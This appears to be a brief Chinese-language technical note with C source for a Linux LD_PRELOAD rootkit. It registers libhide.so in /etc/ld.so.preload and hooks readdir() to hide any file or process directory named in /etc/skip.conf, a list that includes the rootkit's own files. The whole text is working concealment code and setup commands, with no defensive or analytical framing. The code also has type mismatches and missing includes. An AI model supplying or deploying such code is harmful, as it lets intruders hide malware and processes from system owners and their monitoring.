LD_PRELOAD机制,使得自身的so文件先于系统加载

cat /etc/ld.so.preload
/usr/local/lib/libhide.so

HOOK readdir函数

#define _GNU_SOURCE

#include<dirent.h>
#include<sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <errno.h>

struct dirent * readdir(DIR * dir_handle);

char * get_file_text(char * filename) {

    char* text;

    if (access(filename, 0) != 0)
    {
        errno = 0;
        return NULL;
    }
    FILE *pf = fopen(filename,"r");
    fseek(pf,0,SEEK_END);
    long lSize = ftell(pf);
    text=(char*)malloc(lSize+1);
    rewind(pf);
    fread(text,sizeof(char),lSize,pf);
    text[lSize] = '\0';
    return text;
}


char** load_skip_dir(int* num, char * filename){
    static char skips_fs[100][256] = {0};
    static char hot_reload = 0;

    if (hot_reload) {
        *num = hot_reload;
        return skips_fs;
    }

    *num = 0;
    char* text = get_file_text(filename);
    if (!text) {
        return skips_fs;
    }

    int i = 0;
    char * n = text;
    char * end = NULL;
    do{
        end = strchr(n, '\n');
        if (!end) {
            // 拷贝最后一片
            memcpy(skips_fs[i], n, strlen(n));
            i++;
            break;
        }
        // 拷贝中间n片
        memcpy(skips_fs[i], n, end - n);
        i++;
        n = end + 1;
    } while(i < 100);
    *num = i;
    free(text);
    hot_reload = *num;
    return skips_fs;
}

struct dirent * readdir(DIR * dir_handle) {
    typeof(readdir) *old_readdir;
    struct dirent * ret ;

    char* skips_fs;
    int num = 0, j = 0;

    skips_fs = load_skip_dir(&num, "/etc/skip.conf");

    old_readdir = dlsym(RTLD_NEXT, "readdir");

    ret = (*old_readdir)(dir_handle);
    if (ret)
    {
        for (j = 0; j < num && skips_fs; j++)
        {
            // printf("%d -> %s\n", j, skips_fs + j*256);
            if ( strncmp(skips_fs + j*256, ret->d_name, 256) == 0 )
                {
                    ret->d_name[0] = '.';
                    ret->d_name[1] = 0;
                    ret->d_reclen = 1;
                    break;
                }
        }
    }
    return ret;
}

pid隐藏配置

cat /etc/skip.conf 
skip.conf
libhide.so